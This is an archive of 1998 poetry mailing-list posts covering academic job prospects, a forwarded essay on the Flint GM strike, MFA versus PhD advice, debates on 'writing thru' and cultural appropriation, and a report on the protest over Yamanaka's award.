http://otal.umd.edu/~sies/jobadvice.html

She's speaking about American Studies, but the situation she describes is general all over the humanities.

Also of interest -- to many here -- should be Alan Liu's "Palinurus: The Academy and the Corporation -- Teaching the Humanities in a Restructured World":

http://humanitas.ucsb.edu/liu/palinurus/

The Palinurus site is still in its infancy, but as someone who spent last weekend at a distance education conference (listening to well-dressed, articulate people celebrate the demise of the research university in the same tone of voice used to explicate the features on a DAT player) I can attest to the urgency of the Palinurus materials.

Matt

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962. KENT JOHNSON
(Fwd) Jane Slaughter on the GM Strike
Fri 26 Jun 1998

------- Forwarded Message Follows -------
Date: Fri, 26 Jun 1998 17:14:49 EDT
From: "David Alexander, H-UCLEA" <[redacted]>
Subject: Jane Slaughter on the GM Strike
To: [redacted]

This is a multi-part message in MIME format.

Folks,

SAWSJ member Jane Slaughter has offered the excellent attached account of the GM strike for background and discussion. A shorter version of this essay will be appearing in In These Times (web site: www.inthesetimes.com). We

very much thank Jane and ITT for allowing us to distribute this. Please, if you haven't done so, indicate your support for the GM Strike Support Statement that was e-mailed yesterday, by sending a message to [redacted]. If you don't have a copy of the statement, it is on the SAWSJ web site at www.sage.edu/html/SAWSJ. And please, distribute the statement as widely as possible. We have about 400 signatures after the first 24 hours!!!!! Finally, a regional announcement: anyone on this list in the SF BAY AREA WHO IS INTERESTED IN ORGANIZING a network of SAWSJ-related folks, please contact Ted Stolze at [redacted]. Other areas who are organizing should also feel free to use the list to build contacts -- we don't want to use the list for purely local announcement, but making organizing contacts is another matter.

Andor

THE GM STRIKE
BY JANE SLAUGHTER

On Bristol Road in Flint, Michigan, the honking of car horns never lets up. A honk signals the passer-by's support for the picket line outside the huge Flint Metal Center, where the United Auto Workers are on strike for jobs. If noise is an indicator, Flint's residents are solidly behind their neighbors. Someone has put together a tape of work-related songs--"Born in the USA," "Take This Job and Shove It"--that drowns out conversation.

Far from telling their employer, General Motors, to shove it, however, union members are declaring forcefully that they want to keep jobs in Flint. Tommy Jordan III, picketing in the union's sister strike across town at the Delphi East plant, says his father and grandfather retired from GM. He's striking "to save our jobs," he says, "so our kids and grandkids can be working here."

The two strikes involving 9,200 workers began June 5 and June 11 and quickly shut down most of GM's North American operations. The Metal Center, a stamping plant, produces fenders, hoods and engine cradles; Delphi makes a wide variety of small parts from sparkplugs to speedometers that are used throughout GM's 29 assembly plants.

Twenty years ago there were 77,000 GM jobs in Flint; today there are 33,000. It's still a company town, but the relationship between workers and managers is different now than when high school graduates routinely expected to begin a GM job at 18 and retire 30 years later with a generous union-negotiated pension. Today, jobs are harder to come by and not expected to last. At Delphi East, says union financial secretary Stan Kubik, jobs have shrunk from 10,000 to 5,800 in the last five years, with much of the plant's production picked up in non-union shops or in GM's Mexican factories. Says rank-and-filer Mary

Cochrane, who has 21 years with the company, "in the next two or three years there will be approximately only 500 jobs on-site. The availability of new product is nil. There's nothing planned for the future. Nothing."

On the other hand, GM plans to increase its vehicle production in Mexico from 300,000 to 607,000 annually by 2006. The company's Delphi parts division is already the largest private employer in Mexico, with some 75,000 workers. It's this shift, along with loss of market share, that partly explains GM's downsizing from 351,000 U.S. hourly workers in 1987 to 224,000 today.

There's another reason, though, for fewer GM jobs, and it's on the table in these strikes as it was in the fifteen others the union has called in the last five years. That policy is speed-up- -and GM wants more of it.

John Bartholomew, a shop floor rep at the Metal Center, says that in mid-contract managers announced they wanted to cut 191 jobs in his area. "They were walking through the plant deciding, `We want this job gone and that job gone.' If we have five people on a press line, they want to cut it down to three. GM wants to produce as many cars as they have in the past with fewer workers. It's not gonna fly. You're supposed to strive forward, not backwards."

Taking an unaccustomed aggressive stance in the media, GM exec Donald Hackworth complains of employees who work five or six hours for eight hours' pay. That's because they can make their production quota early by busting ass--squeezing eight hours' worth of work into six. Keith Bell, one of the Metal Center's few young workers with only three-and-a-half years on the job, says he can sit down an hour and a half before quitting time by welding extremely fast and working through his break, "and when you finish, you're dirt tired." This choice has been one of the few workers have had over how their work day goes: essentially, more boredom or more fatigue. GM now wants to abolish production quotas and force workers to work continuously all day long. Apparently, managers believe they can convince workers to set the same pace for eight hours as they do for six.

There's precedent for that belief. The speedup at all three auto companies--it's more advanced at Ford and Chrysler--has been accomplished with union cooperation. Union officials have hoped that by improving productivity, both through joint cooperation programs and by simply turning a blind eye to overloaded jobs, they could convince GM not to abandon its unionized American workforce.

Menjuan Jordan, wife of Tommy, says, "We worked with them, cutting down scrap, cutting down waste, adding ideas to make the company run better. Our part was to bring the productivity up. They're not following their part of the bargain, to keep the jobs here." Mary Cochrane says she helped GM introduce "synchronous manufacturing--that's the old term for lean production--working right along with the site manager in training." At the Metal Center, the union

agreed to combine classifications and rotate jobs in exchange for a $300 million investment in the plant. But GM decided that union efforts were not enough and halted the investment.

Overall, acceptance of both speedup and outsourcing (contracting out work to lower-wage shops) has been International union policy. Locals have been encouraged to "bid" against each other for work by making concessions on work rules. But from time to time a local decides that GM has gone too far, and the International grants strike approval. The result has been a piecemeal, non-strategic approach to what are universal issues. Temporary victories have been followed by broken agreements.

At the Metal Center, the last straw was an outright slap to the union's face: managers furtively removed dies from the plant over the Memorial Day weekend, while negotiations were in recess. Those dies were crucial to the launch of a new truck from which GM expects big profits.

Some union members, such as electrician Bob Dunton, hope that labor-management cooperation will resume after the strike. "The Quality Network, the suggestion program, have really improved not only productivity but also the lives of people that participated," Dunton says. But others are fed up. Terry Coutcher, a fork-truck driver at Delphi, says, "We struck in '96. We weren't back to work a week and they were hauling our jobs out of there. And yet we were still being told to cooperate." Last Labor Day, for the 60th anniversary of the Flint sitdown strikes that established the union at GM, the UAW's regional office printed 5,000 T-shirts that read, "UAW: From Confrontation to Communication."

Kevin Van Kirk, a former shop floor rep at Delphi, believes that "in the 16-17 years the International has taken a more cooperative approach, the bargaining power thy had has diminished. What they did was to create all these appointed jobs through the Quality Network for a lot of people. These officials came to meetings and said, `This is the wave of the future, you have to buy into this.' These people that have appointed jobs, working 70-80-100 hours a week with nothing to do--that's the payoff for letting the company do what they want to do."

Downsizing is an extremely difficult problem, of course, for any union to tackle, even with all its ducks in a row. General Motors presents its globalization strategy as a force of nature before which no mortal can prevail. The strikes' most likely outcome is that GM will promise a few specific jobs but maintain the principle--and the practice--that management has the prerogative to move work and speed up at will. GM managers feel the need to impress investors with their commitment to downsizing, and are willing to lose a couple of billion dollars (the company is cash- rich this year) to make their point and discourage further

resistance. Top union leaders, who are not subject to election by the rank and file, are less accountable.

On the picket line, every worker says the strike for jobs should have happened years ago. Terry Coutcher voices the frustration of many. "This has been brewing for a long time," he says. "Why they waited till we were so weak, and the jobs already gone--I blame that on the International. This should have taken place a long time ago and it should be a national strike, instead of locals taking them on."

--part0_898895690_boundary--

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963. **morpheal**
Re: morbid requests
Fri 26 Jun 1998

> *only found Ronald "Pigpen" McKernan (epitaph : "Pigpen was and is now forever one of the grateful dead")*
>
> *You know that he was reincarnated as me, right? Pigpen d. 3/8/73, me b. 3/8/73. I'm not entirely unserious.*

Actually you do know that you definitely do NOT have to go and find the graves of the dead, for them to come and visit you.

They can do that, without your hunting up where they happen to be buried.

I have definitely met the dead.
Some of them are more interesting than most of the living.

M.

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964. **Dan or Orion**
master of f'ing around (piled higher & deeper)
Sat 27 Jun 1998

---

depends what you want to do. are you a poet, a critic, a language artist? what's the best way to keep yourself fed and able to access other interests and comfort and still follow this muse of language? being an artist in an academic (or most any form of) institution is a multi-edged weapon. this is evidenced by a lot of inbreeding, favoritism, and the general lack of health (as evidenced by, among other things, continued miniscule size of audience) of poetry in our society. maybe academic niches are the best we can expect. and academia/teaching helps you develop ortegers, influence other writers, who will help increase your important and ability to earn money with publications, readings and other

engagements. if htis is your path, than phd is the way. otherwise, one can write and grow in relationship with language in so many other places. i did the mfa (& 10 year later returned for an ma in hopes of getting into teaching). eventually realized i'm not a teach i'm a poet. so i have a day job that usually doesnt interfere with my abilith to interact with the world and language when the day of monetary compensation ends.

seeing all the responses recently for summer reading lists and the implication of connection with the academic year makes me wonder how many folks on the list are NOT part of a school setting, and how your job schedule effects reading other people works and such.

dan

↑ Index

965. Carrie Etter
MFA/PhD
Sat 27 Jun 1998

Brent--

The PhD is too much of a commitment to pursue "just" to be eligible for certain teaching jobs. I think the national average for the time it takes to complete a PhD in English is 8 years or more; in my program, it's 7. So, as someone has already said and I want to second, it depends entirely on what you want out of the time you spend in whatever program.

After working full-time and going to school at night for years, I desperately wanted time to focus solely on my poetry while also dabbling in graduate coursework to see if I really wanted to go for the PhD afterwards. If you attend an MFA program in a strong English department, your MFA can help prepare you for the PhD as well as give you some transferable coursework.

Also, don't be scared off from the PhD because you think it necessarily means you will incur large loans. Investigating programs' funding literally pays off in the long run. I was offered admission to several programs that, in their offers, guaranteed one to two years of fellowship plus three to five years of teaching. Admittedly, these programs are somewhat rare, and yet fortunately, some do exist.

Good luck,
Carrie

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966. **Jim Andrews**
enigma
Sat 27 Jun 1998

> *Figure that mystery out and you get the bonus points.*

Perhaps some other time, professor Morpheal.

:)
Jim.

↑ Index

967. **rsillima**
Readings in SF
Sat 27 Jun 1998

I'm going to be in SF briefly on personal business, July 25 through the 28th. Any readings going on that weekend + Monday, Tuesday that I should know about?

Ron Silliman
[redacted]

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968. **Agent Sunshine, aka Eric Gleason**
Re: [Fwd: Natl. Lib. of Poetry page]
Sat 27 Jun 1998

---

yr pardons if i missed the point of david's post. i've been lurking through subject lines only lately. i thought i should make it absolutely clear to all that the national library of poetry's practice is to accept all entries, then offer the contestant a special, $50 copy of their yearbook (normally something like $75), as well as the opportunity for their poem to be "professionally recorded" at a cost of $25. prices do not include shipping.

enjoy the heat! an ice age is coming!
eryque

> *Here is what I would suggest doing*
>
> *Be Well*
>
> *David Baratier*
>
> *Return-Path: <[redacted]>*
> *Received: from mail-relay1.dti.net ([206.252.128.11]) by dns2.car.net*
> *(post.office MTA v2.0 0813 ID# 0-18094) with ESMTP id AAA234*
> *for <[redacted]>; Fri, 26 Jun 1998 13:08:08 -0400*

> *Received: from mail.dti.net (mail.dti.net [206.252.128.10]) by*
> *mail-relay1.dti.net (8.9.0/1.0/rdf) with ESMTP id NAA13903 for*
> *<[redacted]>; Fri, 26 Jun 1998 13:09:42 -0400 (EDT)*
> *Received: from bruno (20625215855.client.dti.net [206.252.158.55])*
> *by mail.dti.net (8.9.0/1.3/rdf) with SMTP id NAA26709*
> *for <[redacted]>; Fri, 26 Jun 1998 13:09:40 -0400 (EDT)*
> *From: "Bruno Navasky" <[redacted]>*
> *To: <[redacted]>*
> *Subject: Natl. Lib. of Poetry page*
> *Date: Fri, 26 Jun 1998 13:11:21 -0400*
> *Message-ID: <000201bda125$70daeee0$[redacted]>*
> *MIME-Version: 1.0*
> *Content-Type: multipart/mixed;*
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> *X-MSMail-Priority: Normal*
> *X-Mailer: Microsoft Outlook 8.5, Build 4.71.2173.0*
> *Importance: Normal*
> *X-MimeOLE: Produced By Microsoft MimeOLE V4.72.2106.4*
>
> *http://www.lit-arts.com/wind/nlp.htm*
> *Content-Type: application/octet-stream;*
> *name="Poetry Contest -- $48,000 in Prizes.url"*
> *Content-Transfer-Encoding: 7bit*
> *Content-Disposition: attachment;*
> *filename="Poetry Contest -- $48,000 in Prizes.url"*
>
> *Attachment converted: HD Zelda:Poetry Contest -- $48,000 in Pr (????/----)*
> *(00003787)*

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969. **Susan Wheeler**

Re: Yes, and…

Sat 27 Jun 1998

> *...not sure what sort of anthropology faculty you're talking about here. Anthropology faculty are like Poetry/Literature/Creative Writing faculty, in that many of all of the above still cling to out-dated methodologies, praxis, modes of inscription, etc. This kind of statement seems like summarizing the state of contemporary poetry based on what's happening at the MFA program at _____ (fill in almost any institution).*

>Mark
>
Of course this is absolutely true and I am appreciatively corrected -- once again my haste in posting has reduced 3-D or 4-D to 2-D -- I should wait to

open my mouth until I've the time to follow through, eh? Thanks.
Susan Wheeler
[redacted]
voice/fax [redacted]

↑ Index

970. **morpheal**
Re: enigma
Sat 27 Jun 1998

> *Figure that mystery out and you get the bonus points.*
> *Perhaps some other time, professor Morpheal.*
> *:)Jim.*

I'm not the professor.

M.

↑ Index

971. **Maria Damon (Maria Damon)**
Re: Books +
Sat 27 Jun 1998

At 7:05 AM 6/25/98, Susan Wheeler wrote:

> *And Maria: did GC do "If you cannot get it on take your dead ass home"?*
> *Susan Wheeler*

coulda --there were so many, some i cd make out, others not. but i was chanting along even the ones i didn't get. chucho valdes was great too. bobby mcferrin was in the audience, as was julian bond, in this small posh club in st paul. mcferrin and valdes did a little improv jamming, it was fun.

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972. **Maria Damon (Maria Damon)**
Re: MFA/PhD
Sat 27 Jun 1998

At 2:50 PM 6/26/98, Brent Long wrote:
>Dear List Members:
>
>I feel like this question is sort of on the outer fringes of the strands
>concerning MFAs, etc., but being a student (possibly until I perish) and
>not as of yet in the world of "Academia", I pose this question to those who
>are in a position to know:
>

>Is it better (if you intend to teach at any institution other than a public
>high school) to have an MFA or to go on to a PhD???
>
>I understand that in some instances the MFA is looked upon as a "terminal"
>degree, but you don't often hear (anymore) of someone with an MFA landing a
>cushy and tenured position at a university somewhere...
>
>Just curious as to your thoughts on this...
>
>Brent
>[redacted]

i say go for the phd, but of course that's cuz that's what i did.

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973. **MAXINE CHERNOFF**

Re: query: non-mainstream/avant garde dance theory

Sat 27 Jun 1998

Dear Mark:

Effie Mihopoulos, 5548 N. Sawyer, Chicago, IL 60625 knows a good deal about contemporary dance and its connnection to poetry.

Best,
Paul Hoover

On Fri, 26 Jun 1998, Mark Wallace wrote:

> *Hello listfolks:*
>
> *I'm interested in finding out some information about books and articles on contemporary dance, preferably on work outside the mainstream. I'm interested first and foremost on mainfesto/theory/statements of purpose work written by actual practioners and choreographers, but would interested also in academic criticism and/or theoretical work written on the subject. Either backchannel or a post to the list would be fine. My knowledge here is pretty shaky--anything anybody knows would help.*
>
> *Thanks.*
>
> *Mark Wallace*
>
> /----------\
> | |
> | [redacted] |

> | *GWU:* |
> | *http://gwis2.circ.gwu.edu/~mdw* |
> | *EPC:* |
> | *http://writing.upenn.edu/epc/authors/wallace* |
> |_____|

↑ Index

974. **Tom Orange**
slovak poets
Sat 27 Jun 1998

anyone know of interesting and/or experimental contemporary poetry written in slovak and as yet untranslated into english?

thanks,
tom
[redacted]

↑ Index

975. **Joe Amato/Kass Fleisher**
Re: MFA/PhD
Sat 27 Jun 1998

well only to add to what's been said: i don't see doing *anything* of such proportions without passion, a love of justice, and a sense of urgency...

alla that aside, and to be a bit pragmatic about it: there are so many aspects of getting a phud (or a masters---but esp. a phud) that tax the intellectual/emotional/spiritual from a bureaucratic/professional orientation... that is, it's never simply a labor of love, even if it is (as it should be) a labor of love... it's also labor, and it's also, in subtle and in obvious ways, a pursuit of a job, a commitment to one of many (if a finite number of) institutions... as this pursuit plays itself out in the context of higher education, you can bet (your bottom-line dollar) that the educational institution conditions this pursuit, complicates it in whatever terms the institution itself is complicated (note the palinurus website of alan liu's that matt kirschenbaum helpfully cites... the corporate incursion---into the classroom in fact---is, from where i (tentatively) stand, a real problem, and it's not about to go away any time soon)...

i've always found sheer careerism (if you will) too much to bear, whether as an english prof or as an engineer---one reason why i can't entirely theorize/understand the english profession in terms of graduate education alone (on this basis i don't agree entirely with cary nelson, as much as i appreciate his provocations---which is not to say that being a grad student = careerism, but only to

extrapolate/amplify thence)... and yet it rings somewhat hollow to me when someone tells me they're pursuing a phud purely out of a love of same, as though money---life for that matter---could be approached so cavalierly... or that they plan to use their phud in a profession that requires only an undergrad degree... as though the incredible (self-) saturation that finishing a dissertation entails, the incredible training quotient that's part & parcel of a terminal degree, could be air-lifted into another domain w/o a real sense of, well, loss...

i don't wish to suggest that the only thing to be done with a phud is teach (two exceptional exceptions would be terrence malick and paul verhoeven, both of whom hold phds---and of course there are phds in the private sector, doing all sortsa things... i think of a friend/poet here in chicago, bill fuller, who works in banking)... but teaching is after all a primary gradient in pursuing a doctorate, esp. in the humanities---as might be expected, b/c you're asking to be taught for such a long stretch!... even if you see yourself primarily as a writer (i do), and see teaching as a potentially decent way to make a living in the meantime (i do---even now), you'll have to concede, i think, that teaching is part of what pursuing a phud prepares one for, and that teaching requires itself that passion, love of justice, sense of urgency i mention above (perhaps i go too far in advocating this *here*?---i hope not)...

in any case, i don't find english depts. to be, in general, happy places these days (were they ever?---you tell me)... there are all sortsa economic stresses and strains, and all sortsa 'culture war' controversies, and a great disparity between or among english depts. in major research institutions and english depts. in less-established schools (again, most english profs do not teach graduate students in english, or even primarily english majors)... i like to think that, given a full(er) account of how teaching/research/service is actually distributed in specific institutions (which may require 2/2 teaching loads, or 5/5 teaching loads), those who seek to participate in and contribute to better forms of higher learning might be more prone to recommend with some wisdom necessary changes, new directions... b/c it's clear to me that i'm already very much a bureaucrat in what i do (what jody swilky and dan mahala have recently referred to as the "geography of service" helps illuminate this fact), and it's also clear to me that i need, if anything, to carve out more space for less bureaucratic functions (spatial metaphors running rampant here, i know)... at the same time [wink], i don't think it helps to imagine that a phud is a classless pursuit, anymore than it helps to see it as a mere stepping stone into the [take your pick] fortune 500 corporation, or up-and-coming entrepreneurial enterprise...

seems to me that there's learning and transformation involved in every sense---which is to say some risk... so: not to be patronizing in the least, but i'd recommend going in with one's eyes widefuckingopen...

for what it's worth///

best,

joe

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976. Douglas Barbour
Re: writing thru to multicult ethix?
Sat 27 Jun 1998

Thanks to Mark Prejsnar for his intriguing comments on writing through, & the mention of _Pirates_. I think he's especially right about the inherent invasive tactic involved:

*Maybe part of what i'm getting at is: there is
something *inherently* "exploitative" about writing thru.

*Unlike most presentations of another culture (in an anthropology textbook, in a museum exhibit, in a lecture) writing thru strategies do not claim to be representing an other with authenticity, respect, accuracy. Quite the opposite!

My memory is that various forms of what we called (after bpNichol) 'homolinguistic translation' had to recapitulate another text (orm play off it) already in english; but assuming the kind of 'loss' any translation carries. We did play off some Romantic poets, Milton, Shakespeare, as well as more contemporary writers, including a number of canadians/ Sometimes the writing would be 'for' sometimes 'against' the original. And I guess these pieces reveal that my sense of 'culture' is that it is an always (already?) contested arena, & also a huge system of layers in each of us...

Douglas Barbour (h) [403] 4363320 (b) [403]
[redacted]
Department of English
University of Alberta
Edmonton Alberta Canada T6G 2E5

> in the rooms you live in
> other people's books line your shelves
>
> the traces of their lives
> their minds
>
> too
>
> bpNichol

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977. **morpheal**

Re: writing thru to multicult ethix? [culture victims in the new apartheids of race and ethnicity]

Sat 27 Jun 1998

> **Maybe part of what i'm getting at is: there is something *inherently* "exploitative" about writing thru.*

Some say the same about inter-racial and inter-cultural marriages and relationships. Any sense of appropriation of the other as person or as culture is seen in the same light, and whether accurate or false rendering. This is at the very roots of what I would refer to as the "new apartheid" in America between peoples of different cultural and racial origins. Of course, it is not only happening in America. We have more of it in Canada than we had ten or twenty years ago. It is much harder here, for example, for a Caucasian to meet an oriental or negro person, beyond a purely business interaction. Personal relationships are difficult and more strictly limited. Marriages are extremely unlikely between groups. The latter is considered the worst kind of misappropriation of another group's cultural property. The person is the primary form of cultural wealth and for black culture or Chinese culture to lose even one instance of a member of that culture is seen by some as unacceptable.

The white with white, black with black, yellow with yellow, red with red, mentality has grown by leaps and bounds, in the last ten years, and no white is to have any black, yellow, or red culture as it is not their's for the having. They ought, it is strongly stated, by innuendo and otherwise, keep to their own, and their own cultural members and cultural manifestations. It is often not unlike the relations enforced in the deep south of the United States, with superficial deference and politeness from the servant to the master, given by minority to majority in the conducting of day to day commerce, but a deep and growing undercurrent of divisive hostilities and closure underneath that surface of requisite, survival oriented, diplomacy.

Part of it seems to be a fear of one culture watering down another, and somehow making it impure, or less than it is, by the inter-mixing of cultures and races. As though black will become grey if white is added, and red will become pink.

I have seen the same thing happen in ethnic situations. The ethnic transplants keep to themselves, speaking their own language, matching up with one another within that group, as though mixtures are taboo, and might damage their cultural identity. Of course, it is often enforced by ostracism to those who step across the cultural dividing lines and mix too freely. This is more often applied to women than to men. Men can do so more easily, whereas "their women" are

kept to their men, and inter-cultural introductions or liaisons are near to impossible in any regard that might be construed as "personal".

Perhaps some instances of "writing thru" are attempts to bridge the gap and step across the hardening lines. The result of thwarted and limited opportunities to bridge the divide and understand the other worldview. At least subconsciously.

It always saddens me, as someone to whom race or ethnic origin was never one of the criteria that decides whether a particular personal relationship might be desirable or satisfying as such. Least of all where it is potentially intimate, rather than commerical. So I find the attitudes hard to understand.

I can see though, that my own experiences could be the kind that prompt someone to write thru, so as to make up, in some odd way, for the loss that is felt in terms of the limits that oneself can do nothing about, because they are imposed by another cultural group or by one's own chanced into cultural affinity. If one is white, one cannot voluntarily give up one's whiteness. If one is Italian one cannot give up one's Italianness. Also one cannot, easily share what is one's own in that regard. It is largely forbidden except to the same, of the same cultural origins. Instead I have been frustratingly encouraged to take up my own Latvianness, to which I have no personal affinity whatever, being born in England and educated in Canada, even though my father was Latvian and my mother Estonian. I cannot become black, red, or yellow, it would be argued. I cannot become Polish, Italian, Irish, German or American, but I can become "Latvian". Whatever that really is. I answer "bullshit" but my answer is not effective as to the day to day of life, in the ways I would prefer it to be effective.

The whole scenario in North America as to race and ethnicity nowadays reminds me more and more of what was written above the crematoria by the Nazis in Germany: "to each their own". It is a horrifying thought, but worth thinking about.

> **Unlike most presentations of another culture (in an anthropology textbook, in a museum exhibit, in a lecture) writing thru strategies do not claim to be representing an other with authenticity, respect, accuracy. Quite the opposite!*

I do not get that sense of difference, or opposite, in that regard.

So called "scientific" study of one cultural group by a member or members of another cultural group is inherently subjective, and presumed to be biased by cultural affinity. Even if it is good, hard, science, and as objective as humanly possible, the group being studied and represented, more often nowadays than not claims "misrepresentation" by the outsiders, or sometimes deliberately misrepresents itself to the outsiders. It is more of a "you do not understand us, because you are not one of us" mentality.

The claims as to authenticity, respect and accuracy, are claimed to be more alike to writing thru strategy, by the other side. It is inevitably this culture tainted representation of that culture.

In essence I think you have overstated the difference between how writing thru is often perceived, and how scientific observation and reportage is perceived.

Is the alternative to "writing thru" and withstanding accusations of "cultural misappropriation", as vicarious attempts to breach the rising and increasingly fortified cultural and racial walls, the belief in "to each their own" ? That becomes the real question. It is terrifying, as to what it might mean. It is even more terrifying that it might be that we have no real say about it. We are simply "culture victims" in the making.

M.

aka Bob Ezergailis

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978. Karen Kelley

Re: writing thru to multicult ethix? [culture victims in the new apartheids of race and ethnicity]

Sat 27 Jun 1998

Go Morpheal! (well, except for the "oriental" & "negro" part)

This subject raises an important, everpresent (to me) question: when does the act of writing "break down" in so-called real-life? Perhaps more offensive than the idea of appropriating a culture with one's writing, is the idea that one's response to other cultures simply IS writing.

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979. Juliana Spahr

protest of award for Yamanaka

Sat 27 Jun 1998

I went to a meeting by the Association for Asian American Studies yesterday. The Association has awarded Lois-Ann Yamanaka's _Blu's Hanging_ an award. Many members of the Association have protested the award, arguing that the book presents racist representations of Filipino/as. In Hawai'i there is a stereotype that Filipinos are sexually deviant (partial to incest, rape, child molestation). In _Blu's Hanging_, a family of Japanese-Americans live next to a family of Filipino-Americas. Members of the Filipino family commit various acts of incest, rape, and child molestation.

The Association had a panel on this topic which I missed. And they also held a roundtable forum on the issue which I attended. Apparently the Association had for years been considering Yamanaka's books for the award starting with _Saturday Night at the Pahala Theatre_ and continuing with _Wild Meat and Bully Burgers_ but had never given her the award. Each year there had been protest of some sort from the membership. It was noted several times that of all these books, _Blu's Hanging_ is the most problematic in terms of race. So to award the award to this book has been seen as particularly insensitive.

At the roundtable many people spoke. The argument seemed to be split around two sides. One side argued mainly that this was a freedom of speech issue (which it really isn't; no one is suggesting the book by banned, just that it not be rewarded). This side was represented by a number of local writers who are not academics and by a number of established Asian-American writers, also mainly not academics, from the mainland. Statements were read by people like Amy Tan, Maxine Hong Kingston, David Mura, etc. Wing Tek Lu, from Bamboo Ridge who publishes _Saturday Night at the Pahala Theatre_, had a thick petition and collection of statements in support of Yamanaka. Unfortunately there were only copies for the roundtable participants so I didn't get to see one. The other side was represented by a number of mainly local academics. Many spoke movingly of the difficulties of growing up Filipino/a in Hawai'i.

The roundtable felt caught between these two positions, neither addressing the other. But for more information I would suggest looking at the work of Candace Fujikane. She has a good article in the most recent volume of _Social Processes in Hawai'i_ (1998, UH Press) on this issue. She also posted a moving and complicated statement to the Association's discussion list. Walter Lew forwarded it to me. I'm sure he would do the same for you if you asked (or I could also).

At the conference, I was talking to Dorothy Wong and she told me how many people at the conference had said that the protest was a Hawai'i issue. I have to agree (which doesn't make it less important). When I read _Saturday Night_ on the mainland it seemed clear that the poems are told by an unreliable teenage narrator and the first poem, "Kala Gave Me Any Kine Advice Especially about Filipinos when I Moved to Pahala," can be read as a critique of racist stereotypes. But when I've taught the book here, the first thing students often say is, here is a voice that is my voice, which I've never heard taken seriously before. (It is an amazing experience to teach this book here. Students really feel like it changes their life and validates whole parts of their culture that have been degraded.) And then the problem starts b/c this voice is the voice of a teenage racist.

Also, it is crucial to realize that being Japanese-American in Hawai'i (which Yamanaka is) is similar to being haole in terms of economic and social power.

(Race discussions repeatedly define class discussions.) Whereas Filipino/as possess significantly less economic and social power. It is often said that because Yamanaka writes coming of age stories of planatation life that she is unwillingly to abandon the rhetoric of marginalization and take responsibility for Japanese-American complicity in the colonial (neocolonial?) power structure. Her characters will grow up to set much of Hawai'i's policy. What then?

To add to the problem, Yamanaka is reported as saying things like her book is "true" and that she has known Filipinos like that and how she is just reporting what she has seen.

I wished for more analysis of the book at the roundtable. One of the ways that I have a lot of respect for Yamanaka's work is that she has addressed the language issue in a way that a lot of writers here have avoided it. Many local writers go through the creative writing program at Univ of Hawai'i, Manoa which likes nature poetry and MFA short story forms (some important exceptions: Morgan Blair, Susan Schultz, Rob Wilson). Yamanaka's writing in pidgin puts forth a critique of these forms that rivals the critique of American presence in the land that is a part of the literature of Hawai'i.

I wished also for more discussion of what we do with a teenage racist narrator. Fujikane repeatedly points out how important it is to avoid saying that those who do not read this book as told by an unreliable narrator are unsophisticated. I agree with her. But when do we stop or start to read that narrator as unreliable (again, Fujikane has a good point that in _Blu's Hanging_, the narrator sees the sexual abuse, she doesn't just report it)? Is the unreliable narrator a flawed concept? One built on elitist reading practices?

A vote is being held by the Association on this issue today. I'm not sure what the outcome will be. The room felt very divided.

It was great to see many people who were not academics speaking up on this issue. It is evidence that what one writes does matter, can carry huge consequences to a community.

Disclaimer: please realize that since I am a mainland haole who has lived here for less than a year that this report is not authorized. Please supplement with other points of view (the Association discussion might be a good place to start).

Juliana Spahr

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980. **R. Gancie**

simple is as simple does

Sat 27 Jun 1998

"[William Shockley's] basic rule for solving ANY problem is to go back to fundamentals: "Try simplest cases." Understanding is most likely to result, he says, from REDUCING the situation to its simplest elements and proceeding from there. His famous book on semiconductors follows the pattern: In Chapter I he sets forth the comparison of atomic structures to parking lots, complete with little sketches of cars to demonstrate traffic flow. By Chapter XV he is explaining that "the wave function A (theta) for the hole-wave packet is not an eigenfunction for the Hamiltonian for the 2N-1 electrons in the valence band.... All this THINKING about THINKING thrust Shockley into a furious intellectual and political controversy which he initially provoked in the late 1960's and which continues, at a lower intensity, to this day. In a letter to the National Academy of Sciences, and then in a series of lectures and interviews, Shockley urged detailed study of a problem he named "dysgenics" and defined as "retrogressive evolution through the disproportionate reproduction of the genetically disabled." In plain English, Shockley was claiming that, on the average, blacks are dumber than whites. Thus high birth rates among blacks could lead to "decline of our nation's human quality." "My research leads me inescapably to the opinion," Shockley said, "that the major cause of American Negroes' intellectual and social deficits is hereditary and is racially genetic in origin." Shockley went on to propose a social policy to deal with this situation: government should work to reduce birth rates among low-IQ elements of the population, through programs such as tax breaks for voluntary sterilization.... The instigator (e.g. Shockley) seemed to relish the stir he had created...Those who have worked with him over the years invariably describe him as "charming"; at scientific meetings he was known for telling jokes and even performing magic tricks at the podium while delivering his papers..." ---from The Chip: How Two Americans Invented the Microchip & Launched a Revolution by T.R. Reid

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981. **Michael McColl**

Seeking Meow Press

Sat 27 Jun 1998

If anyone has an address or phone number for Meow Press in Buffalo, please backchannel me. I'm looking for a copy of Broken English.

Mike McColl

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982. **trbell**
Re: Boundary 2 / My Way
Sat 27 Jun 1998

At 04:23 PM 6/26/98 -0400, you wrote:
>In answer to Standard Schaefer's question:
>
>99 Poets / 1999: An International Poetics Symposium, is scheduled for
>publication as the Spring 1999 issue of boundary 2 (16:2).

Available?

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983. **morpheal**
Re: protest of award for Yamanaka
Sat 27 Jun 1998

> *I went to a meeting by the Association for Asian American Studies yesterday. The Association has awarded Lois-Ann Yamanaka's _Blu's Hanging_ an award. Many members of the Association have protested the award, arguing that the book presents racist representations of Filipino/as. In Hawai'i there is a stereotype that Filipinos are sexually deviant (partial to incest, rape, child molestation). In _Blu's Hanging_, a family of Japanese-Americans live next to a family of Filipino-Americas. Members of the Filipino family commit various acts of incest, rape, and child molestation.*

Which only goes to show that human beings, on average, even though they have advanced degrees to their credit, cannot _think_.

No, not the Filipino's or their Japanese American neighbours. I do not refer to them. I do not refer to Yamanaka either.

Why do I say that ? Simply that too many people fail to read such things as saying "there were certain individuals who did certain things to one another, and they chanced to be Filipinos". In that instance it was a family unit who chanced to be a family unit and Filipinos.

The work then would not be disparaging to ALL family units.

Neither would the work be disparaging to ALL Filipinos.

Why cannot educated people, even highly educated people, distinguish something as simple as ethnic affinity, family affinity, racial affinity, or even relgious affinity, as being completely DISTINCT from the actions of individuals towards one another ? Often we cannot seem to do that and end up unable to even state any affinity as if that automatically makes all the members of that named affinity automatically the same.

That is the same as saying: I knew a blue eyed person who was physically and psychologically abusive to people he knew, THEREFORE if I say he was blue eyed I am saying that ALL blue eyed people are abusive.

More of the usual.....

Lack of the least amount of simple minded logic.

M.

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984. Alan J.J.N. Sondheim
In Query
Sat 27 Jun 1998

-

In Query

Nikuko - why this? Why would uid 99 do such a thing? Nobody came into the machine, nobody left it?

